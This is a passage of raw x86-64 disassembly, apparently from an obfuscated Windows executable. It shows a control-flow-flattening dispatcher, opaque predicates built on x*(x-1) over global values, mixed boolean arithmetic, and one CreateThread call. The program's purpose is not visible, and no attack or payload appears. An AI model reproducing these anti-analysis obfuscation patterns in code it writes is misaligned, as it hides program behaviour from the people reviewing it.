and ecx, 0xdafd533b
or ecx, edx
xor ecx, 0xdafd533b
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, r8b
and cl, r10b
xor cl, 1
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
not cl
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r9d
xor r9b, r8b
and r8b, al
and dl, r10b
or dl, r8b
or al, r10b
xor al, 1
or al, r9b
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0xcbf481a0
mov eax, 0x6a47f4de
cmovne ebx, eax
test dl, 1
mov eax, 0xcbf481a0
jmp 0x14018c1e9
cmp eax, 0x2d948130
je 0x140182d78
cmp eax, 0x2ddaaa2c
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x4d1371ad
mov ecx, ebx
and ecx, 0xb2ec8e52
or ecx, edx
mov edx, ecx
xor edx, 0x20440c42
xor ecx, 0x5135104
mov esi, ebx
or esi, 0x97bbd314
and ecx, 0x97bbd314
and edx, 0x68442cea
or edx, ecx
and esi, 0x97bbd315
xor esi, edx
and edi, 0x1a93965d
and ebx, 0xe56c69a2
or ebx, edi
mov ecx, ebx
xor ecx, 0xe56c69a2
xor ebx, 0x1a93965d
and ebx, esi
not esi
and ecx, esi
or ebx, ecx
xor esi, ebx
test esi, ebx
sete r9b
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, r8b
and al, cl
mov ebx, edx
or bl, al
xor al, 1
or al, r9b
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
xor dl, r8b
xor dl, 1
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r10d, eax
xor r10b, 1
mov edx, ecx
xor dl, 1
and cl, dl
mov r8d, r10d
mov r9d, edx
and r9b, cl
xor cl, dl
mov ebx, r10d
and bl, dl
xor dl, r10b
and r10b, al
xor r8b, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, r8b
or cl, r9b
mov eax, r10d
xor al, 1
and al, cl
xor cl, 1
and cl, r10b
or cl, al
or dl, bl
mov ebx, edx
xor bl, cl
test dl, 1
mov eax, 0x97c5c8c1
mov edx, 0x54a774ce
cmovne eax, edx
test cl, 1
cmove eax, edx
test bl, 1
mov ecx, 0x97c5c8c1
jmp 0x1401a14db
cmp eax, 0x5969e761
je 0x140182d8d
cmp eax, 0x59926e0d
jne 0x14016c950
mov rax, qword [rbp - 8]
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x93ebff3e
and edx, ebx
not ebx
and ebx, 0x93ebff3e
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5c6cfebd
and edx, 0xa3930142
or edx, ecx
mov ebx, edx
xor ebx, 0x3070fc04
xor edx, 0xcf870183
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0x8e080278
and ebx, 0x71f7fd87
or ebx, edx
mov edx, ebx
xor edx, 0x71955106
xor ebx, 0x8e080279
mov esi, ecx
and esi, 0x8e6aaee1
and edi, 0x7195511e
or edi, esi
or ecx, ebx
and ebx, 0x8e6aaee1
and edx, 0x7195511e
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x42078d8a
and ecx, 0xbdf87275
or ecx, edx
mov edi, ecx
xor edi, 0x81a03011
xor ecx, 0x42050088
or ebx, 0xc3bd33d9
mov edx, ebx
not edx
or ecx, 0x3040c820
and ecx, 0x725dcae8
and edi, 0x81a03111
or edi, ecx
and ebx, 0x725dcae8
and edx, 0xc020406
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x3c42cc26
and edx, 0xc3bd33d9
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa6a32a1b
and edx, 0x595cd5e4
or edx, ecx
mov ecx, edx
xor ecx, 0x5808d004
xor edx, 0xa6210818
and edx, 0xa7750df8
and ecx, 0x588af207
or ecx, edx
mov edx, ecx
xor edx, 0x26050c90
xor ecx, 0x40084202
and ecx, 0xc178436a
and edx, 0x3e87bc95
or edx, ecx
xor edx, 0x3e87bc95
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov r10d, r9d
xor r10b, bl
and r10b, r9b
mov edx, ecx
xor dl, r8b
and dl, cl
mov eax, r10d
xor al, 1
and al, dl
xor dl, 1
and dl, r10b
or dl, al
and r9b, r8b
and cl, bl
or cl, r9b
mov eax, ebx
xor al, r8b
or bl, r8b
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2d948130
mov ebx, 0x5dfb3957
cmovne edx, ebx
test cl, 1
mov ecx, 0x2d948130
jmp 0x140195e0e
cmp eax, 0x1c043f9b
je 0x140182e67
cmp eax, 0x1c38e2fd
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xaee7227b
and ecx, 0x5118dd84
or ecx, edx
mov edx, ecx
xor edx, 0x5118dd84
mov ebx, ecx
xor ebx, 0xaee7227a
xor ecx, 0x5118dd85
and ecx, edx
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0xb37f3889
and ecx, 0x4c80c776
or ecx, esi
or ebx, edi
and edi, 0xb37f3889
and edx, 0x4c80c776
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
xor ecx, 0xb830c104
and ecx, ebx
not ebx
and ebx, 0xb830c104
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x969fb76e
and ecx, 0x69604891
or ecx, edx
mov edx, ecx
xor edx, 0x10008105
xor ecx, 0x2a284460
and edx, 0x1487b30f
and ecx, 0xeb784cf0
or ecx, edx
xor ecx, 0xeb784cf0
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r10b
mov edx, r10d
xor dl, bl
and dl, r10b
mov eax, edx
not al
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, r9b
mov edx, r10d
xor r10b, r8b
and r8b, bl
and dl, r9b
or dl, r8b
or bl, r9b
xor bl, 1
or bl, r10b
mov ecx, ebx
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x105e0066
mov ebx, 0xf909a234
cmovne edx, ebx
test al, 1
cmove edx, ebx
not cl
test cl, 1
mov eax, 0x105e0066
jmp 0x14019f61b
cmp eax, 0x77009f03
je 0x140183024
cmp eax, 0x7766a1aa
jne 0x14016c950
mov eax, 0x3cc4e047
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x40208270
je 0x14018315e
cmp eax, 0x403f7166
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ecx, ebx
and edx, edi
or edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete bl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov eax, edx
or bl, dl
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
or r9b, r8b
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x3c10566c
mov ebx, 0xfe598fed
cmovne edx, ebx
test cl, cl
mov ecx, edx
mov ebx, 0x3c10566c
cmovne ecx, ebx
jmp 0x140196725
cmp eax, 0xf877945
je 0x140183338
cmp eax, 0xf8ea944
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea r8d, [rax - 1]
imul r8d, eax
mov eax, r8d
not eax
mov edx, r8d
or edx, 0x408dcd62
mov ebx, edx
not ebx
mov ecx, r8d
xor ecx, 0xbf72329d
and ecx, r8d
mov esi, ecx
not esi
mov edi, edx
and edi, 0xb6b48800
and ebx, 0x942329d
or ebx, edi
or edx, esi
and esi, 0xb6b48800
and ecx, 0x494b77ff
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x408dcd63
and edx, 0xbf72329c
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xbb59df77
and edx, 0x44a62088
or edx, ecx
and r8d, 0xbb59df77
and eax, 0x44a62088
or eax, r8d
xor eax, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r9b
setne r8b
cmp dword [0x1402656c4], 9
setg dl
mov ebx, r8d
xor bl, dl
mov eax, ebx
and al, dl
xor r9b, dl
or dl, r8b
xor dl, 1
or dl, bl
and bl, r8b
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor r9b, 1
xor dl, 1
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, ecx
and r8b, al
mov edx, eax
xor dl, bl
or bl, al
xor al, 1
xor cl, 1
and cl, al
or cl, r8b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x1d6e4cd6
mov edx, 0x791632bc
cmovne eax, edx
test bl, 1
mov edx, 0x1d6e4cd6
jmp 0x1401a0e85
cmp eax, 0x6f4ca944
je 0x1401834ac
cmp eax, 0x6f8ec947
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x9a00eb14
mov edi, edx
not edi
or ebx, 0x65ff14eb
mov ecx, ebx
not ecx
and edx, 0x2c05edc9
and edi, 0x41fa1022
or edi, edx
and ebx, 0x2c05edc9
and ecx, 0x92000214
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x9a00eb14
and ecx, 0x65ff14eb
or ecx, edx
mov edx, ecx
mov ebx, ecx
xor ebx, 0xa188d4f8
and ebx, ecx
not ecx
and ecx, 0x253c762b
and edx, 0xdac389d4
or edx, ecx
mov ecx, edx
xor ecx, 0x21085428
or ecx, 0x5e772b07
mov edi, ecx
not edi
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x238d21a8
and edi, 0x8000d450
or edi, eax
or ecx, esi
and esi, 0x238d21a8
and ebx, 0xdc72de57
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x59180ee8
and ecx, 0xa6e7f117
or ecx, eax
mov ebx, ecx
xor ebx, 0x12e20ea
mov eax, edx
and eax, 1
xor edx, 0xdac389d5
or edx, eax
mov eax, edx
not eax
and eax, 0x7cf7e72f
and edx, 0x830818d0
or edx, eax
mov eax, edx
xor eax, 0x810810c0
xor ecx, 0xf890da11
xor edx, 0x7cf7e72f
mov edi, ecx
and edi, 0x5ed1cd14
and ebx, 0xa12e32eb
or ebx, edi
or ecx, edx
and edx, 0x5ed1cd14
and eax, 0xa12e32eb
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5e80022
and ecx, 0xb00122c0
or ecx, edx
mov ebx, ecx
xor ebx, 0xa0010000
xor ecx, 0x1d88924
or eax, 0xb5e922e2
mov edx, eax
not edx
and ecx, 0x11d8abe4
and ebx, 0xa4210002
or ebx, ecx
and eax, 0x11d8abe4
and edx, 0x4a065419
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0x4a16dd1d
and edx, 0xb5e922e2
or edx, eax
mov eax, edx
not eax
and eax, 0x1a068ccb
and edx, 0xe5f97334
or edx, eax
xor edx, 0xe5f97334
cmp edx, 0xffffffff
setne r10b
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov r8d, r9d
or r8b, bl
mov eax, r9d
xor al, bl
not al
and al, bl
mov edx, r8d
xor dl, al
xor al, 1
xor dl, 1
or al, r8b
xor al, 1
or al, dl
and bl, r9b
and r10b, cl
or r10b, bl
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ecx, eax
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xa94a6793
mov ebx, 0x4d3013a
cmovne eax, ebx
test cl, 1
mov ecx, 0xa94a6793
jmp 0x1401a0085
cmp eax, 0x3577fbf6
je 0x14018360c
cmp eax, 0x35feb813
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0xf341f08a
mov edi, eax
and edi, 0xcbe0f75
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xcbe0f74
and edi, 0xf341f08b
or edi, ebx
not edi
and edx, 0xc9d029c6
and eax, 0x362fd639
or eax, edx
xor eax, 0x362fd639
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
cmp eax, 0xffffffff
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and r8b, bl
or r8b, cl
mov ecx, edx
xor cl, bl
and bl, dl
or bl, cl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor bl, 1
and bl, r8b
xor r8b, 1
and al, r8b
or bl, al
mov eax, r8d
and al, cl
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, bl
test al, 1
mov eax, 0x802b1054
mov ecx, 0x337c1039
cmovne eax, ecx
test r8b, 1
mov ecx, 0x802b1054
cmovne ecx, eax
jmp 0x1401a1a3b
cmp eax, 0x60d562da
je 0x140183621
cmp eax, 0x611f3e09
jne 0x14016c950
mov eax, 0xba80594d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x24cf9a63
je 0x140183705
cmp eax, 0x254cfa88
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xfccee4f
and edx, ebx
not ebx
mov edi, ebx
and edi, 0x8e09
and ecx, 0xfcc6046
or ecx, edi
xor ecx, 0xfcc6046
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xf03311b1
and edx, 0xfccee4e
or edx, ecx
not edx
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
xor dl, cl
not dl
and dl, cl
or bl, cl
mov ecx, ebx
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x5dcc139b
mov ebx, 0x22be7c88
cmovne eax, ebx
test dl, 1
mov edx, 0x5dcc139b
jmp 0x1401a0e85
cmp eax, 0x7e05b684
je 0x1401838ef
cmp eax, 0x7e117873
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xcad95cc5
and edx, ecx
and ecx, 0x3526a33a
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20a
xor ecx, 0xcad95cc5
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf576ad75
and ebx, 0xa89528a
or ebx, esi
or ecx, edi
and edi, 0xf576ad75
and edx, 0xa89528a
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xbbc9e7c3
and ecx, 0x4436183c
or ecx, ebx
mov ebx, ecx
xor ebx, 0x340018
xor ecx, 0xbbc9e7c2
mov esi, edx
and esi, 0xf5c3dba5
and edi, 0xa3c245a
or edi, esi
or edx, ecx
and ecx, 0xf5c3dba5
and ebx, 0xa3c245a
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
xor ecx, 0x84215a51
and ecx, edx
not edx
and edx, 0x84215a51
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x55703ac1
and ecx, 0xaa8fc53e
or ecx, edx
mov edx, ecx
xor edx, 0xa2a9345
xor ecx, 0xc1116010
and edx, 0x1a6a93c5
and ecx, 0xe5956c3a
or ecx, edx
mov edx, ecx
xor edx, 0xa401381
xor ecx, 0x40054438
and ecx, 0x502fc47c
and edx, 0xafd03b83
or edx, ecx
xor edx, 0xafd03b83
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
and dl, al
and r8b, cl
or r8b, dl
mov edx, ecx
xor dl, al
and al, cl
or al, dl
xor dl, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
mov ebx, r8d
or cl, r8b
xor r8b, 1
and dl, r8b
and bl, al
or bl, dl
xor r8b, al
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0x235324f8
mov ecx, 0xb43680a4
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, 1
mov ecx, 0x235324f8
jmp 0x1401a14db
cmp eax, 0x46fbb206
je 0x140183abf
cmp eax, 0x470e5d55
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xfffffffe
mov edx, edi
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and eax, ebx
and edx, edi
or edx, eax
xor ebx, edx
test ebx, edx
sete r8b
setne bl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov edx, eax
or al, bl
and bl, cl
and dl, r8b
or dl, bl
xor cl, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
not cl
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
and dl, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x5b5fe0fc
mov edi, 0x45b7fde7
cmovne eax, edi
test bl, bl
mov edx, 0x5b5fe0fc
jmp 0x140192774
cmp eax, 0xa643c2
je 0x140183b97
cmp eax, 0xf4e74c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ebx
or edx, 0x3c22c606
mov edi, ebx
and edi, 0x3c22c606
mov esi, ecx
and esi, 0xc3dd39f8
or esi, edi
and edx, 0x3c22c607
xor edx, esi
mov edi, edx
not edi
mov esi, edi
and esi, 0xc5a33866
and edx, 0x3a5cc799
or edx, esi
and ebx, 0xc5a33866
and ecx, 0x3a5cc799
or ecx, ebx
xor ecx, edx
xor edi, ecx
test edi, ecx
setne r9b
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
and r9b, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and cl, r8b
or r9b, cl
mov ebx, r9d
xor bl, 1
mov ecx, ebx
and cl, r9b
xor cl, 1
mov r8d, r9d
xor r8b, cl
or cl, r9b
xor cl, 1
or cl, r8b
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0x92221c56
mov eax, 0x86081021
cmovne edx, eax
test bl, bl
mov eax, 0x92221c56
jmp 0x1401a2f66
cmp eax, 0x658e89f1
je 0x140183bac
cmp eax, 0x65a50088
jne 0x14016c950
mov eax, 0x6cfff2b5
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x2706fd47
je 0x140183cef
cmp eax, 0x273f977b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ebx, esi
or ebx, 1
mov edx, ebx
not edx
mov ecx, edi
or ecx, 0xb4e53d0a
and ebx, 0xb4e53d0b
and edx, 0x4b1ac2f4
or edx, ebx
and ecx, 0xb4e53d0b
xor ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x38328949
and ecx, 0xc7cd76b6
or ecx, ebx
and esi, 0x38328949
and edi, 0xc7cd76b6
or edi, esi
xor edi, ecx
xor edx, edi
test edx, edi
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
xor al, 1
mov r10d, eax
or r10b, dl
xor al, dl
not al
and al, dl
mov ebx, r10d
xor bl, al
xor al, 1
xor bl, 1
or al, r10b
xor al, 1
or al, bl
and r8b, dl
and cl, r9b
or cl, r8b
mov ebx, edx
xor bl, r9b
or dl, r9b
xor dl, 1
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov ecx, edx
xor cl, bl
test dl, 1
mov eax, 0xa1c7b95b
mov edi, 0xbd1e5013
cmovne eax, edi
test bl, 1
mov edx, 0xa1c7b95b
jmp 0x140192774
cmp eax, 0x54051c53
je 0x140183df2
cmp eax, 0x54161e0c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov eax, ebx
not eax
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov ecx, ebx
or ecx, 1
mov esi, edx
not esi
mov r9d, ecx
and r9d, 0x571eb2de
mov edi, eax
and edi, 0xa8e14d20
or edi, r9d
or ecx, esi
and esi, 0x571eb2de
and edx, 0xa8e14d21
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xe5eaa90f
and edx, 0x1a1556f0
or edx, edi
or ecx, ebx
and ebx, 0xe5eaa90f
and eax, 0x1a1556f0
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xe802cc8f
and ecx, 0x17fd3370
or ecx, eax
xor ecx, 0x17fd3370
setne r9b
sete r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg bl
mov eax, ebx
xor al, r11b
and al, bl
mov ecx, eax
not cl
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, r10b
and cl, r9b
or cl, al
xor bl, r9b
mov eax, r11d
and al, r10b
xor r11b, r10b
or r11b, al
mov eax, r11d
xor al, bl
xor bl, 1
xor al, 1
or bl, r11b
xor bl, 1
or bl, al
mov eax, ebx
not al
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
and cl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0x45e73d95
mov ebx, 0xc3bcb3e0
cmovne ecx, ebx
test dl, dl
mov edx, 0x45e73d95
jmp 0x14019affd
cmp eax, 0x14c7001e
je 0x140183f1d
cmp eax, 0x15a91e18
jne 0x14016c950
mov eax, 0xe2412a0c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x72031258
je 0x140184006
cmp eax, 0x72455aa8
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edi, ecx
xor edi, 1
and edi, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov edx, edi
not edx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xadaddc9
and edi, 0xf5252236
or edi, esi
or edx, ebx
and ebx, 0xadaddc9
and ecx, 0xf5252236
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xf858e3ff
and ecx, 0x7a71c00
or ecx, edx
mov edx, ecx
xor edx, 0xa8580193
xor ecx, 0x41800
and edx, 0xaffb0593
and ecx, 0x5004fa6c
or ecx, edx
mov edx, ecx
xor edx, 0xff30110
xor ecx, 0x40005220
and ecx, 0xe00856a3
and edx, 0x1ff7a95c
or edx, ecx
xor edx, 0x1ff7a95c
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r10b
not al
and al, r10b
mov edx, ecx
or dl, r10b
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, r9d
xor r9b, r10b
and r10b, cl
and dl, r8b
or dl, r10b
or cl, r8b
xor cl, 1
or cl, r9b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0xe6d6015a
cmovne edx, r15d
test cl, 1
mov ecx, edx
mov ebx, 0xe6d6015a
jmp 0x14019d10f
cmp eax, 0x39870b14
je 0x14018401b
cmp eax, 0x3a0e47a1
jne 0x14016c950
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov eax, 0xb9743e7f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x4f52f271
je 0x140184030
cmp eax, 0x4f8256d6
jne 0x14016c950
mov rax, qword [rbp - 0x68]
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x10008b21
mov ebx, ecx
and ebx, 0x4802048
or ebx, edx
xor ebx, 0x4802048
and ecx, 0xeb7f5496
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xeb7f5496
and ecx, 0x1480ab69
or ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x628d8480
and ecx, 0x9d727b7f
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
xor esi, 0x62058000
or esi, 0x1cba5fc3
mov eax, esi
not eax
or edi, 0xe345a03c
mov ebx, edi
not ebx
and esi, 0x9f26783a
and eax, 0x60418004
or eax, esi
and edi, 0x9f26783a
and ebx, 0x9807c1
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x1cba5fc2
and ebx, 0xe345a03d
or ebx, eax
and edx, 1
xor ecx, 0x9d727b7e
or ecx, edx
mov eax, ecx
not eax
and eax, 0x99340635
and ecx, 0x66cbf9ca
or ecx, eax
mov eax, ecx
xor eax, 0x66034888
mov edx, ebx
not edx
xor ecx, 0x99340635
mov edi, edx
and edi, 0x19c8b347
and ebx, 0xe6374cb8
or ebx, edi
or edx, ecx
